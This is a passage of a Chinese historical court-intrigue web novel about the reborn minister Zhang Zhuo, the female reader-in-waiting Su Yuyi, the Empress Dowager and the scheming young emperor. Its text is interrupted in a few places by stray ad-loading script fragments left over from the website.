她给太后和皇帝分别请安,而后直接偎进了太后的怀里:“母后,女儿好久没来向您请安了。” 她今年刚十三岁,头上梳着归真髻,两颊上用珍珠贴了一对面靥,下颌和耳垂上用脂粉涂成净白色。这不是时下大齐盛行的妆容,但永定公主活泼明丽,便是如何妆扮都是好看的。 太后对这个女儿却是很好的。 她轻轻摸了摸永定公主的鬓发:“映禾,哀家在同你皇兄说正事。” 言语虽有告诫之意,却是难得一见的温柔。 也只在此刻,才能窥得这位太后年轻时的温情款顾。 永定公主坐直身子,手却仍握着太后的手臂:“琼林玉池里素馨、山丹、瑞香等花都开了,女儿来时采了几枝,母后看看可还好看?” 侍女将花枝递上来,果真是含苞待放,暗香浮动。 太后含笑道:“好看,叫孟司记拿去插瓶吧,摆在哀家眼前,哀家看着也很高兴。” 永定公主听闻很是欢喜:“母后真疼儿臣。” 她们这厢笑语嫣然,却未曾发觉独坐一旁的皇帝眼底滑过的慕羡与阴郁。 “瞻徇,这位是哀家新定的侍读学士。”太后看向郁仪,“若你在读书时有什么困惑,太傅不在时也能问问苏侍读。” 郁仪起身对皇帝再行一礼。 皇帝颔首,倒是永定公主对苏郁仪这难得一见的女侍读提起了兴趣:“若儿臣有不懂的东西,可以问苏侍读吗?” 太后轻轻点了点她的眉心:“这是朝政上的事,你一个小女儿家,哪里有让苏侍读为你解惑的必要。” 永定公主啊了声:“那为何同样的东西,苏侍读能学,儿臣就不能呢?” 孟司记在一边玩笑:“公主殿下有太后和陛下的疼爱,这不比那些金科玉律重要得多了?” 刘司赞与邓彤史对视一眼,也笑着对公主说:“朝政这些都不是公主非学不可的,让陛下和娘娘来操这份心就够了,公主只要会簸钱、下双陆棋就成了。” 郁仪在一旁静静抄书,只拿自己当个透明人来看,写着写着却思绪飘远了。 乍一看太后是与永定公主更亲近些,外人也道永定公主得尽宠爱,是万千荣宠于一身的举国之珠。 这是连皇帝都没有的殊荣。 只是究竟太后私心里更偏向谁,却很难说。 表面上的恩宠不算是恩宠,太后愿将权力给谁,才是真正的恩宠。 另一边,公主在孟司记的安抚下又重新开心起来:“母后,儿臣能叫苏侍读来宫里陪我吗?” 太后道:“映禾你听着,你不能因为苏侍读和你的伴读差不多年岁,你心里便同她亲近,只是你得把她当作和外头一样的大臣们看待,不能因为她是女子便让她与你狎玩取乐,知道吗?” 太后身边的几个女官,不论是孟司记还是刘司赞、邓彤史,都算是看着永定公主长大的人,她也时常叫她们和自己一道玩叶子牌,没料到这一次却得了太后的警告。 许久没说话的皇帝难得开口:“苏侍读是科举选上来的女进士,既有官身又有学识,不是整日里陪你玩耍的奴仆,你待她亦要有尊重之心,明白了吗?” 永定公主似懂非懂,只点头:“是, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我明白了。” 郁仪坐在一旁见安静下来,还是笑着对永定公主道:“若是公主在读书上有什么不通的地方,下官愿为公主解惑。” 她知道公主有自己的西席传授课业,如此说也是为了礼数周全。 太后应该是还有话要和皇帝说,又和公主聊了两句天便让她和郁仪一起先回去。 出了慈宁宫的门,永定公主走到郁仪面前:“苏姐姐住在梧桐街上吗?” 郁仪听罢道:“哪里当得起公主这声姐姐,下官现下住在北三所,还没有在梧桐街上买宅子。” 永定公主天真烂漫,性子也并不娇怯。从头上随手拔了根金钗塞给郁仪:“平日里只能见到那些个保姆奶娘,可给我无趣坏了,今天难得见到苏姐姐这么好的人,这个是我送你的见面礼,你不要听我皇兄的话,得空了一定要来找我玩。” 郁仪不敢接,公主的眼睛便瞪起来:“怎么,我赏的东西你就不敢收吗?” 她生得雪团般精致漂亮,豆蔻梢头的年纪,瞪着眼模样也很娇嗔,见郁仪收下了,便又笑起来:“这就对了!”说罢带着三两奴才绕过垂花门走远了。 太后和永定公主不愧是母女,在赏人东西的性子上都是一路的。 回到北三所,郁仪又忙着挑灯抄书。 张濯让郁仪抄的账簿虽然隔了些年月,但大体上是没有问题的,郁仪将他标注出来的时期都摘出来重新编写,只是账簿翻过一半时,发觉有两页像是被水泼过,字迹都晕染开了。 想起张濯同她说过的那番别有深意的话,郁仪给张濯递了牌子,想在转一日黄昏时见他一面。 * 张濯照旧是在水月松风见了她。 他今日人有些憔悴,头上覆了一条抹额,身上药味有些重。靠在椅背上时,轻轻用手撑着头,人很疲倦的样子。 郁仪不由得关照一二:“张大人是生病了吗?” 张濯徐徐摇头:“没有。” 今日天气有些阴沉,午后开始便下起了小雨。 张濯有心想要将太平十年之前的大小事宜都一一列出来,以备日后应对。 他原以为很多事他到底是亲历者,列起来应该并不繁琐。只是才刚落笔,头便开始疼得厉害,他咬牙写了两行,不单头痛欲裂,甚至双耳都响起鸣声。 张濯不是个愿服输的人,待头痛稍好些又重新提笔,继而继续头痛。 如此反复几次,咬牙写下数行字,他终于丢了笔,仰面躺在床榻上。 这一个月以来,他的记忆近乎是被一种不可思议的速度夺走了,他能记起的唯有一些大的时间节点,却记不清细节。 习惯了一切尽在掌握的人,眼睁睁地看着许多东西脱离掌控,心中分外不安。 便在此时成椿来报说苏侍读到了,张濯勉力起身换了件衣服,独自撑着伞来水月松风见她。 自重回太平三年已经过去一个月了,张濯已经渐渐平静下来,不会再因为见到郁仪而心绪翻涌。 只是像此时这样与她孤窗对坐,窗外一帘春雨,竟让他有些分不清今夕何夕。 郁仪从怀中掏出账簿,翻到染了水迹的那一页,仰起头看向张濯:“张大人用这个法子叫下官前来,可是有什么用意吗?” 张濯轻轻扬眉:“你觉得是我故意的?” 郁仪眉目如画:“难道不是吗?” 14.南楼令(三) 郁仪拿来桌上的镇纸将册字压平:“张大人在卷宗上洒的是顾渚紫笋茶吧,茶香还没散呢。” 她又道:“其实这本册子在后湖上的黄册库里一样能找到抄本,但是我既猜得出张大人的用意,自然也要来走这一遭。能留在太后身边做侍读学士,多亏了张大人,所以您让我做什么,我都不会有什么二话。” 张濯接过她递来的账簿,又抬头看向郁仪。 天色昏昏,她迎着他的目光亦看向他,四目相接的那一刹,张濯轻垂下眼来。 早知道郁仪是个聪慧的人,正因她聪慧,所以她更明白他想要做什么。 只是此刻的苏郁仪尚且拿他当作一个陌生人,他听得出她的警惕与不信任。 张濯并不怪她不信任,只是偶尔在某个瞬间会感觉遗憾。 他前一世与苏郁仪用半生建立起来的信任,曾是何其珍贵的东西。 张濯早有搪塞她的腹稿,在此刻却又不想用了。 “是,我是故意叫你来的。”他复又抬起眼,“如何?” 张濯想看她的反应。 她显然是从太后身边直接过来的,就连身上青色的官服都未曾换去,海水江崖的绣纹像是一张密密匝匝的网,她别有所指:“官路长阶浩浩渺渺,大人若愿助我,我愿供大人驱策,也愿意给大人我的一切。” 青春正好的女孩,说的话没有带一丝玩笑的成分。 轰地一声巨响炸开在张濯的头脑深处。 心像是重重地跌入深渊谷底,一时间宛如被人紧扼住了喉咙,几乎难以呼吸。 郁仪显然已下定了决心,眼睛平静得倒映出人影。 张濯只觉得痛彻心骨:“你以为这就是我的所求?” 他眼底痛意太深,郁仪迟疑了一下:“难道不是吗?” 前一世,张濯与郁仪发乎情止乎礼,十几年间从未说过半句逾越的话,只在无数次人潮汹涌、人头攒动之际,二人遥遥对望,又各自错开眼去。 唯独在太平七年的除夕宴上,郁仪喝醉了酒,他们二人一路出宫回府。 为了避嫌,张濯和车夫一道坐在车辕上,只留郁仪伏在车厢里休憩。 后半夜密雪遮灯,马踏尘泥。 郁仪隔着车帘叫了一声老师,声音虽轻,却被张濯捕捉到了。 于是张濯掀开帘子,茫茫飞雪将车厢照得微亮,郁仪头发有些乱了,眼睛也不似从前那般清明,双颊泛起微微红晕,她笑着说:“你能不能进来,我有话说。” 张濯在她身侧坐好,她却又不说话了。 只是在黑暗中,伸出右手,用自己的食指轻轻勾住了他的手指。 像是一片轻飘飘的羽毛,又像是从云端落下凡尘的霜花。 一个声音告诉张濯:快停下。可他却不想听,只轻轻闭上了眼睛。 唯有心跳声在这黑夜里,如鼓声乍响。 浩荡的天啊,辽阔的地啊,满天的星斗和佛陀啊。 你愿不愿意睁开眼看一看,这凄风苦雨的人世间。 为何竟容不下你我。 在这酒香缠绵的梦里,没人说话,也没人有下一步动作,勾在一起的手指像是一双衔尾的红鱼,耽溺在时间的海里。 过了很久,郁仪轻声对他说:“张大人,我们能不能像此刻这样,永远藏在这,不要被命运找到?” 声音宛如梦呓,像是害怕惊扰了这惹人眷恋的梦。 张濯看不清她的眼睛,唯有她细细的呼吸声响在耳边。 他的心不觉得疼痛,只余下无尽酸楚。 谁也没说话,谁也不舍得再说话。 直到车夫在外面说:“两位大人,到了。” 好梦恍醒。 郁仪没有留恋地收回手指,笑语盈盈:“你瞧,它还是找到我们了。” 张濯替她掀开车帘,郁仪踩着车凳下了马车,再回过头时飞雪已沾满她的鬓发。 “只可惜我这一生太多事尚未做完,早就来不及回头了。” 她说完这话后,不再等张濯回答,也不撑伞,迎着飞雪向自己的宅邸中走去。 …… 而此时,这个女孩直直白白地告诉他,她愿奉上她的一切。 利用二字咬在唇齿上,吐不出也咽不下。 原来许多话情意深重时说不出口,没有情分时说得反倒更顺畅了。 他早该知道她的决心,也早该知道她将这些身外之物早就割舍。 徒留他一个人,珍视着、敬畏着,不敢染指分毫。 怕只怕他这边已然烧得滚烫,另一头的郁仪还是冷的、无知无觉的。 他舍不得怪她分毫,因为她什么都不知道。 张濯说:“为何是我,还是说可以是任何人?” 他说话的语气有些冷,藏着郁仪听不懂的凄惶。 “还是你觉得我尚且值得你花心思来利用?” 见她沉默,张濯也渐渐平静下来:“纵然你不在意,就当我在意吧。这样的话不必再提了,行吗?” 郁仪仰着脸看他:“既如此,为何江驸马可靠攀附公主得到恩荣,而我不行?” 张濯见她懵懂,便着意解释道:“很多东西,都是有代价的。即便是现在未曾让你付出什么,不代表永远都不会向你索取报酬。这样的恩荣,背后的代价会是什么,你自己想想。” 是污名,还是把柄? “但我说了我会助你,便不会违背誓言,自然也不用你付出什么。”他垂眸看着被茶水晕染开的纸页,“我给你我的手令,你去文一阁将这两年的卷宗都调出来,暂且不要归还回去,也不要交给任何人。” 他将话题转到政事上去,以此遮掩自己心绪上的起伏。思绪乱如麻,许多话都是他说出口之后,才反应过来自己在说什么。 张濯拿起桌上的湖笔,在纸上写了“廿州”二字:“尤其是廿州的黄册。” 他的眼眸如雾海,郁仪顺着他的笔将这两字记在心里,目光所至,她却看到了一方松烟墨。裹在外面的宣纸还没拆开,竹叶宣纸上盖着的是她的私印。这分明是她送给江驸马的那一块。 张濯见她目光停留在这块松烟墨上:“你可喜欢,这是江驸马送给我的。” 郁仪表情有些不自然:“这原本是下官赠与江驸马的,没料到……” “哦?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 张濯露出一个微微惊讶的神情,“想来是江止渊富贵入眼,只喜欢自己惯用的用宣和墨罢,偏我倒是觉得这松烟墨别有风味。” 郁仪自然顺着他的话往下说:“没想到得蒙张大人青眼,张大人若喜欢,下官日后再做了送来。” “既如此,”张濯勾唇,“我倒是要多谢你了。” * 回了北五所,刘司赞和邓彤史专门在等她。 虽然已不是第一次打照面,可这也是第一次郑重其事的拜访,郁仪忙倒了茶给她们喝。 刘司赞人更外向活泼些,邓彤史话不多但是个细致的人。 她们仨人年龄相仿,只有孟司记的年龄略大了些。 刘司赞拿了内廷赏赐的春盘分给郁仪一道吃。宫里有咬春的习俗,春盘上都是些时令小菜和甜食。 刘司赞的丈夫是在锦衣卫前千户所的鸾舆司做七品佥事的。邓彤史说:“你看刘司赞和和气气的,在他们家里却是她说一不二。因为他男人能在鸾舆司做事,全是仰赖刘司赞的女户,若是刘司赞没了官身,她男人的官也做不成了。” 太平年间能走马上任锦衣卫也不是件容易事,若女子在宫中供职或是做了乳母保姆,家里便能选一个男丁入职锦衣卫。 刘司赞笑道:“能主事的确是不一样,每逢回家时,他便时时事事想在我前头,不敢让我受累。”邓彤史拿了春卷来吃:“这就是最好的命了。日后我也去寻个听话的夫君,看看他们哪个敢给我脸色瞧。” 言罢又问郁仪:“苏侍读成婚了吗?” 郁仪摇头:“不曾。” “那可有喜欢的人?” 郁仪只顾从盘中拿春饼来夹萝卜蘸黄豆酱:“平日里事情多,顾不得这些。” 刘司赞听罢笑说:“你的心思和孟司记是一路的,她也一门心思扑在内廷的大事小情上,我和邓彤史都没有什么大志向,能在家里当家主事,已经是过去不敢想的事情了。” 又聊了片刻,郁仪问刘司赞:“你有没有听说过六科中有一位姓吴的大人,郢州人士。” 刘司赞想了想:“姓吴的大人真不少,六科中姓吴的就有十几位,至于籍贯我便不清楚了。怎么,你好端端地为何提这个?” “也不是什么大事。”郁仪将一缕鬓发挽至耳后,“一直听说有位吴大人清正刚直,桃李满天下。” 邓彤史说:“那你说的应该是吴阅先吴郎中,他是户部的,现下任员外郎一职。听说屡次告老,娘娘都不舍得放他走呢。” 吴阅先。 郁仪将这名字记在心里。 “他是张尚书的人吗?” 刘司赞摇头:“不过是同在户部做事,张尚书与他倒不算熟识,更谈不上私交。你若想结交他只怕也难,他这几年闭门谢客,除了去户部几乎哪都不去。” 一壶茶见底,几人先聊着吃完了春盘。 待将她们二人送出门,已经又过了一个时辰。 郁仪走回房间,南窗的窗台上种了一盆越桃。玉琢琼雕,清沁肺腑。她拿起漏壶来给花浇水。 她像是有心事满怀,就连水洒在窗台上都过了好一会儿才反应过来。 15.南楼令(四) 文渊阁伫立于左顺门外、文华殿前、内承运库后,重檐庑殿顶上覆有明黄色鱼鳞瓦。 檐下设廊庑,阁内人来人往,皆屏气凝神,无人敢高声。 黄册五年修一次,所谓黄册,便是将各州县的人丁赋税一一记录在册、除了各府及各地布政使留有副本之外,皆送入京城供国子监及翰林院核对装册。 虽然各地的黄册还没有送入京城,可整个紫禁城亦紧锣密鼓地筹备起来。 今年主理黄册一事的裁官名叫傅昭怀,他是当朝次辅,亦是张濯的老师。他这一个月来一直在宁夏卫处理边务,前几日刚刚回京。 傅昭怀年近六十,须发皆白,已侍三朝。 张濯自阁外走入时,他尚在撰写票拟。 听见脚步声,傅昭怀早已猜到来人的身份,并不抬头:“显清,这几本折子我还没看,你来写票拟。” 见他没动,于是傅昭怀终于抬起头来:“怎么,如今张大人入了阁,连我也使唤不动你了?” 张濯背光站着,唇边渐渐勾起一个弧度:“许久不见老师了。” 傅昭怀啧了声笑着摇头:“你酸不酸?还不快坐下。” 记忆中的傅昭怀便是如今这个样子,开朗健谈,是个脾气有些古怪却不失可爱的小老头,喜欢喝茶抽水烟。张濯追随他十几年,他们既是师徒,又是忘年交。 只是他深切地记得,傅昭怀死在了太平三年的秋天。距今还剩不到半年的光景。 弃市于街。无人能为其殓骨。 如今时隔近二十年能重新再与他相见,只觉恍如隔世。 张濯在傅昭怀身侧坐下,执一块墨膏来替他研墨:“老师,有件事我想同你商量。” “哦?” “今年修黄册的事,能不能交给学生来做?” 傅昭怀写字的手微微一顿:“你怎么想揽这个差事?” 不怪傅昭怀意外,修黄册一直是最费力不讨好的事,一来没有什么油水可漏,二来修黄册要到后湖上的黄册库中去,那里四面环水,为避明火,饭食都要靠小舟运送,夜里也不许点火烛。眼见着渐渐入夏,后湖的湖心岛上虫蚁众多,日子很是难熬。 虽然如张濯一般的阁臣不必亲自登岛,只需在文渊阁主理事宜,可劳心劳力的事也必然不会少。故而一众大臣对此事都是能躲就躲、能避就避。 由于傅昭怀曾是黄册库的建造者之一,对这里有很深的感情,所以当首辅赵公绥将此事交给他时,傅昭怀亦不曾推辞。但他没料到张濯会主动请缨,担下这块烫手的山芋。 “老师才从宁夏卫回来,实在辛苦了些。修黄册一事,多少和户部沾上些关系,我哪能躲清闲呢。”张濯轻声笑说道。 傅昭怀心疼自己的学生,眼中也露出不赞同:“你这孩子,心思重,待人又太随和。国子监和翰林院那群人心里的弯弯绕绕太多,我也怕你被他们欺负了。” 平平常常的一句话,听得张濯心里一酸。 他父母早亡,傅昭怀待他如父如师,哪怕他如今已至而立,入阁为辅臣,傅昭怀仍把他当作是那个赤诚单纯的学生。 幸而傅昭怀不曾闻到过他指间的血雨腥风,傅昭怀亦不曾见过他玩弄权术、独揽朝纲。 张濯收回目光:“不过都是读书人,哪里会像老师说得那般不堪。” “这你就不懂了,有时候这文斗可比武斗厉害多了,杀人不见血。”傅昭怀摆手,“不是我这老头子不舍得放权给你,而是盼着你别接这差事,省得受累不讨好。” “老师。”张濯认真道,“我想试试。” 见他坚持,傅昭怀叹气:“好,我回头会和陛下说的。” 张濯恭恭敬敬地谢过,而后问:“吴阅先吴郎中今日没来啊?” “怎么问起他了?”傅昭文道,“你也知道他的性子,自兴平年间那场案子之后,他整个人都消沉了,除了在你户部做事之外,什么差事都不想揽了,再加上他年纪大了身体也不好,随他去吧。” * 入了四月后,郁仪正式开始了随侍太后的日子。 太后见大臣时往往不需要她多话,只需记录几位大人都说了什么,太后又做过什么批复便罢。只是在讨论国事的间隙里,也偶尔问问她们几个女官的意思。 孟司记说得最多些,刘司赞她们基本不置一词,郁仪也只在太后点她的名字时才开口。 承恩寺的风波还不曾散去,株连之祸也不曾平息。 太后虽不曾再杀人,却又把不少大臣拖出去廷杖。 皇帝便坐在太后身侧,垂着眼睛安静听太后处理政事。 那日吃过午饭,刘司赞小声说:“陛下这阵子心情不好。” 这是明摆着的事,他话比过去少了很多,就连饭都吃得更少了。谁都知道他是为了自己右司谏汪又的事郁郁寡欢,堂堂天子,想保一个人都保不下来,难怪他生气。 一日过半,往往到了下午时,皇帝便会回到文华殿去,由太傅和几位侍讲为他讲述功课。这些侍讲大多是出身翰林院,也有坊局之臣侍奉在侧,讲述的文章讲义也大多是先呈给阁臣们阅正,再交由太后批揽,最后才能递到皇帝的案牍之上。 郁仪日后也会去侍讲,故而在她偶尔也要来旁听。 从《尚书》到《易经》,在几位老翰林抑扬顿挫的颂声里,小皇帝似乎是走神了。 顾翰林显然也发现了皇帝的心不在焉。 他敲了一下桌面:“关于贤治’一词,敢问陛下出自于哪一篇?” 皇帝骤然回神,下意识看向下首,以往都是汪又坐在这里悄悄提醒他。 可惜汪又已经下了诏狱,如今坐在那的人是太后新选的女侍读。 郁仪恰在此刻抬头与他四目相对。 她看清了皇帝眼中下意识的期待与深深的失落。 汪又的事在朝中本不是秘密,只是浮在水下,无人敢提起。 郁仪趁着顾翰林背对她的功夫,悄悄比了一个“四”的手势。 皇帝微微皱眉随即恍然大悟,对顾翰林道:“帝曰:‘咨!四岳,有能奋庸,亮天功,克明俊德,以亲九族,九族既睦,平章百姓。百姓昭明,协和万邦。出自《尧典》一章。” 顾翰林见他对答上来,也不好多说什么,只得痛心疾首道:“读书务必勤奋不得惫懒,还请陛下牢记。” 小皇帝松了口气,对着郁仪轻轻颔首。 他本就是个聪敏好学的人,一个时辰的侍讲很少能让太傅挑出问题来。直至最后习字时被顾翰林挑出了几个不端正的,以往这样的事,都得要伴读来替皇帝挨手板,顾翰林自然也知道皇帝的伴读才出了事,便免了皇帝的一次惩罚。 哪怕是如此,皇帝脸上也没有什么笑容。 侍讲结束之后,郁仪跟随着其余几位侍讲一道走出文华殿的门。 日影偏移,残云的影子在檐上留下旖旎的阴影。 走下丹墀之时,恰逢张濯自文华殿外经过,他穿着朱红的官服,映衬这红墙金瓦,清隽疏朗,只是眉心郁郁,有一抹倦色。 郁仪叫住他:“张大人。” 张濯驻足,望向她时尚微微蹙眉。 郁仪自袖中掏出一个纸包:“日前从朱雀街上买了这个清凉膏,下官偶有头痛脑热时便会涂抹在太阳穴上,前阵子见大人得了头痛的毛病,也是昨夜才想起这东西,今日便拿来想着有机会交给张大人。” 周围人来人往,偶尔也会有人望向这个方向。 见张濯接过,郁仪道:“张大人是要出宫去吗?” “不是,我要去慈宁宫。” “我与大人顺路。”郁仪一面说,一面摆出请的手势,“一道去吧。” 张濯脑子里一直在盘算着,顶替傅昭怀之后又该如何进行下一步,只是前世的记忆就像蒙着一层云雾,他但凡有半分拨开云雾的念头,便只觉头痛欲裂。这样的考量与思虑太多,叫他脸色愈发苍白。 他不喜自己用这幅样子面对苏郁仪,故而婉拒道:“我想起户部还有事,只怕要先去一趟户部。” 猜他是有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 意避开,郁仪也只好点头:“那也好。” 张濯踅身向西走,才走出一箭之地,双耳便传来一阵尖锐的鸣声。 他扶住身边的绿萼梅树想要缓一缓精神。 梅永年说他寿数无多的事,张濯没有同任何人说起,他自己也不想时时刻刻都记在心上,只可惜这幅残破的身躯无时不刻都在提醒他,活着比死要难多了。 便在此刻,一双手伸过来托住他的手臂:“大人可是身子有什么不适?” 她本想往慈宁宫的方向走,可见张濯脚步有些不稳,才多留意了些。只是张濯未免太单弱了些,屡次见他,他似乎总是病着。 张濯和气道:“天气冷暖交替,我偶尔会病上两日,不是什么大事。” 他轻垂的目光落在郁仪的手上,隔着衣料都能感受到温热的触觉。 张濯有心不想让话题落在自己身上,故而又道:“你今日来替陛下侍讲了?” 郁仪见他好些了,才轻轻收回手来。 “尚未,不过是跟着陛下一道听顾翰林讲《尚书》,太后娘娘的意思是等我熟悉了流程,每旬选两日来替陛下讲《春秋》。” 望着自己空荡荡的臂弯,张濯抿唇颔首:“这是好事。” 迟疑片刻,郁仪还是说:“陛下似乎在为汪又的事情伤心。” “流血和死人,都是会叫人伤心的。”张濯的神色已彻底恢复如初,他将郁仪交给他的纸包拆开,从中取出那枚清凉膏。 纵然隔着盖子,也依稀能闻出其中冰凉又萧索的味道。 “太后会为陛下选新的右司谏。”他眼底带着一丝漠然,“只是,陛下伤不伤心,也不该是苏侍讲该关心的。” 他既已知道皇帝与苏郁仪前世种种,自不肯这一世重蹈覆辙。因而言语中有警告之意:“太后娘娘最忌惮的事也莫过如此了,若有朝一日连太后都有了不满之心,苏侍读可不是要大祸临头?” “好,下官记得了。”郁仪敛眸,复又压低声音,“大人叫我取的东西我已经取来了,现下已经锁好,没有人知道。” 说的是廿州的黄册。 张濯嗯了一声,复又问:“你是因黄册之事才来的?” 他摊开手掌,露出那和清凉膏:“以此物为托辞?” 郁仪越发觉得张濯此人性子古怪,就譬如此刻,她竟不知自己应该说是还是不是。 “也不是。”她道,“这是下官的一点心意,与公务不相干。” 张濯眉间郁色稍稍纾解:“关于陛下的事,我还有话要告诉你。” 他道:“你若想择明主而追随之,这不是坏事。但是太早、太坚定的站队容易成为众矢之的。” 郁仪道:“难道除了陛下,还能有别的明主吗?” 张濯平淡道:“也许有,也许没有。但是苏郁仪,留得性命好好活着,比别的更要紧。” 她的名字从他薄唇内吐出,没有半分旖旎的滋味,像是一番如老师般语重心长的嘱托与叮咛。 这种感觉既陌生又熟悉,宛如早已发生过千百次。 就在此刻,一道声音自不远处响起:“苏侍读,你在这啊。” 郁仪闻声回头,说话的是皇帝身边的小内侍,而皇帝本人,正站在五步之外静静地看着她。 他原本神情平淡,眼底却在看见张濯的那一刻有冷淡划过:“张尚书也在。” 郁仪和张濯一道对皇帝长揖:“陛下。” 皇帝本有话要对郁仪说,却碍于张濯在,不得不的按下不提。 “可是有什么要紧事,让两位大人站在这风口上说。”内侍窥得皇帝神色,不由笑着问道。 张濯未开口,郁仪已经平平静静地应答:“太后娘娘的意思是下旬起由下官为陛下侍讲《春秋》,只是下官入侍时间尚短,才疏学浅,这才来和张大人讨教讲义内容。” 皇帝点头,又对张濯道:“张尚书先回去吧,朕有话对苏侍读讲。” “是么?”张濯唇角勾起,岿然不动,分明没有半分要走的意思。 16.南楼令(五) 郁仪只觉得自己站在这君君臣臣中间,着实是难做。 小皇帝近来郁郁寡欢,看似是因为未能护住自家伴读的缘故,更向深层说,分明是恼恨自己身为一国之君,却有名无实、徒有虚名罢了。 郁仪心里明白,小皇帝心里定然已经记恨上了张濯,承恩寺一案便是张濯为主官的。此刻虽不知他们二人暗中的机锋源自何处,可她心里也不希望张濯在皇帝心中罪加一等。 “张大人先一步往慈宁宫去吧,下官稍后同去。” 张濯的目光如水般清冷,眼风扫来之时让郁仪莫名心虚了一下。 “张尚书还怕朕吃了她吗?”皇帝扬眉看他。 “臣不敢。”张濯行揖礼,又看了一眼郁仪,“我在慈宁宫等你。” 郁仪说了声是,目送张濯走出这片梅园。 小内侍退后五步,梅树下只余他们两人。 “今日之事,多谢你。”皇帝道,“跟在母后身边,可还觉得辛苦吗?” “这是下官分内事,不敢说辛苦。”郁仪知道自己与皇帝如此说话,若被有心人看见,必是瓜田李下有口难辩,于是做出向外走的手势,“陛下不要站在这风口上,还是稍稍移步吧。” 皇帝心思敏锐,猜得出郁仪是怕被人议论,只是越是如此,他心中越是恼怒,不由道:“怎么,朕究竟是长了何等青面獠牙,叫你怕成这样?” 连日来的委屈郁结于心,他纵然学了再多天子之策,也不过是个才十五的少年。 鸿蒙未开,于人情世故上似懂非懂。 “还是你也觉得朕这个皇帝做不长久,怕与朕攀扯不清吗?” 这样的闲言碎语几乎是伴随着皇帝长大的,他听得多了也全记在心里。 郁仪听罢只得仓促跪下:“陛下,下官不敢。” 头顶那人不说话了,沉默良久,郁仪大着胆子抬头看去,只见小皇帝伫立原地,眼圈已然红了。 他咬着齿关,显然是不想在她面前丢脸。 郁仪不由道:“陛下天命所佑,有些话实在是空穴来风。更何况君子求诸己,小人求诸人。知者不惑,仁者不忧,唯有陛下向内坚定,这些无稽之谈才更能风流云散去。至于右司谏的事,太后娘娘顾念着陛下,不一定半分生机也无。” 她这话说得漂亮,显然是明白他的根结所在,却又没彻底点破,果真是个入仕的好苗子。小皇帝已经平复了情绪,将她拉起来:“苏郁仪,朕明白你的意思。” 他已将情绪自我排解过,此刻神色如常,看上去与平常无异:“适才看你给了张尚书什么东西。” 郁仪见他观察仔细,也不敢隐瞒,只得将另一只清凉膏取出:“这是下官自用的清凉膏,平日提神醒脑倒是不错,陛下若不嫌弃……” 皇帝接过,扫了一眼欣然收下:“不错,多谢你。” 言罢一笑,唇边有一闪而过的笑窝,无端显露出一丝亲切与天真来。 在这里耽搁了不少功夫,皇帝也不欲再逗留:“朕便等着苏侍读下旬的侍讲了。” 不再看郁仪行礼,他握着清凉膏往南向文渊阁的方向去了,走过两扇宫门已来到了偏僻人少的长乐宫外,他漫不经心地叫来自己身边的小内侍:“宝仁。” 宝仁上前:“主子。” 皇帝随手将手里拿着的清凉膏抛给他:“赏你了。” 宝仁忙谢过:“谢陛下。” 皇帝漫不经心地问:“你觉得这个苏侍读,是不是可用的人?” “奴才觉得算是。”宝仁思忖道,“苏侍读是个心软的人,适才奴才瞧得分明,苏侍读是动了恻隐之心的。” “那你觉得朕方才演得如何?” “我的爷,那真是真得不能再真了,奴才看了都要落泪了。” “那便好。”皇帝掖着手,“可惜了她现在还是母后的人,不过朕等得起。” “朕也只有到了如今才明白,一个制举出身的孤臣,到底有多难得。” * 承恩寺的案子并没有郁仪想象的那么简单。 起先不过以为是几个大迦蓝贪图蝇头小利,将香积钱用以放贷。 再后来牵扯出一大批官员勾结党羽之事,这笔钱流向皇城各处,就连皇帝的右司谏都牵涉其中。 太后已经和几位大臣商讨了一整个下午,都没能给汪又治罪。 “哀家这个儿子,心思重,哀家也怕下手太重,伤了皇帝的心。”太后深深叹了口气,“刑部那边,是谁在审呢?” “回太后,人如今在诏狱里,”那个大臣小心翼翼地看着太后的脸色,“是张大人在听审。” “他啊。”太后沉吟,“既如此……” 便在此时,刘司赞端着托盘走进来,眉宇之间略带忧色,看见一地的大臣,脚步生生一顿。 太后眉心蹙起:“怎么了?” 刘司赞张了张口,显然有难言之隐。 她对着几位大人行了行礼,走到太后身边附耳道:“是永定公主出事了。” “诏狱的郎官来报,说看见一个面生的小太监,他觉得与公主生得有几分相像,便托人告诉了奴婢,奴婢适才去公主宫里,她的侍婢眼见藏不住,才说公主一早出去了,到现在都没回来。” 她声音极低,唯有坐在太后近前的郁仪听了个大概其。 太后神情未变,却显然已经怒极,手指紧紧捏住朱笔,像是要将这根笔捏作两段:“可知为何?” 刘司赞低声道:“尚不知。” 太后脸上的神情变换几轮,郁仪猜的出太后心里在担忧什么。 如今诏狱里在审讯的人是皇帝的右司谏,皇帝几番求太后宽恕皆不得,怕只怕他动了旁的脑筋,又或是想利用自己的妹妹为自己再多争一分胜算。 太后看向郁仪:“你去看看。” “悄悄的,别惊动了人。”她顿了顿,“若有人问起,你便说是来帮哀家拿汪又的口供。” 这样的事无论如何都不能拿到台面上说,为的是永定公主的清誉,也是为的天家颜面。郁仪知道利害,将自己写了一半的记录交给孟司记,才跟着刘司赞出了门。 才出了慈宁宫,郁仪又看向刘司赞:“适才你没对娘娘说实话,现下对着我,可能说真话了?” 刘司赞惊讶于郁仪的敏锐,犹豫了一瞬才照实说了:“因为我家那口子也在前千户所供职,所以我先前听他提起过一句,其实公主殿下去诏狱,并非是与汪右司谏有故旧,而是……” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “而是前千户所有位锦衣卫百户,”她用低得不能再低的声音道,“得了公主的垂青。” “公主对他很是上心,他自知身份有别,一直不肯应承,只是公主几次三番来前千户所找他,我也撞见过两回。” 这话在郁仪听来难以置信:“这岂不是荒唐?” “正是了。”刘司赞也很是着急,“现下该如何是好?” 以太后雷霆之威,这样的事若传进太后的耳朵里,只怕这个锦衣卫会被当场赐死。 一条人命,无妄之灾。 郁仪转过几个念头:“你随我一道去诏狱,听说今日是张大人在。” “是。” “可就算公主对这锦衣卫有心思,为何会好端端地跑去诏狱里看他?”郁仪眉心蹙起,“可有缘故?” 刘司赞摇头:“不知。” “罢了,我先去看看。” * 